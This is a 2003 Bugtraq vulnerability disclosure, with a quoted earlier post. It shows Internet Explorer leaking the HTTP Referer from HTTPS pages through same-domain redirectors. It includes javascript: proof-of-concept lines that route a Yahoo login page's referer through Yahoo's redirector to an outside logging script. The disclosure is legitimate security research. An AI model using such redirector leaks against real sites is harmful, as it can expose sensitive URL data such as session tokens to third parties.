This applies to ALL versions of Internet Explorer on all systems, though
IE on Windows require that the HTTPS site is left through a redirection.
I verified this on IE 5, 5.5, 6 and 6SP1.
As an easily demonstrated example, open your Windows IE and go to
https://login.yahoo.com/config/login
then to verify that no referer is typically sent (the expected behavior)
write the following in your Address Bar
javascript:document.links[0].href="http://pivx.com/larholm/test/referer.
php";document.links[0].click();void(0)
If you want to see the referer being sent from https://login.yahoo.com
to http://pivx.com write the following
javascript:document.links[0].href="https://us.rd.yahoo.com/reg/sihflib/*
http://pivx.com/larholm/test/referer.php";document.links[0].click();void
(0)
The redirect script has to be on the same domain. It is not uncommon to
see redirectors on sites protected by SSL, most typically webmail
implementations.
Lots of other browsers have been vulnerable to this, including Netscape
4 and Opera.
Regards
Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
http://www.pivx.com
thor_at_pivx.com
949-231-8496
PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of
Qwik-Fix
<http://www.qwik-fix.net>
-----Original Message-----
From: deane_at_deanebarker.net [mailto:deane_at_deanebarker.net]
Sent: Wednesday, December 24, 2003 8:16 AM
To: bugtraq_at_securityfocus.com
Subject: IE 5.22 on Mac Transmitting HTTP Referer from Secure Page
Documented instance of Internet Explorer 5.22 on a Mac transmitting an
HTTP Referer header from a link on a secure page (https):
http://www.gadgetopia.com/2003/12/23/OutlookWebAccessPrivacyHole.html
This is clearly covered in the HTTP 1.1 spec (RFC 2616), Section 15.1.3,
"Encoding Sensitive Information in URI's":
"Clients SHOULD NOT include a Referer header field in a (non-secure)
HTTP request if the referring page was transferred with a secure
protocol."
Received on Dec 30 2003
Intro
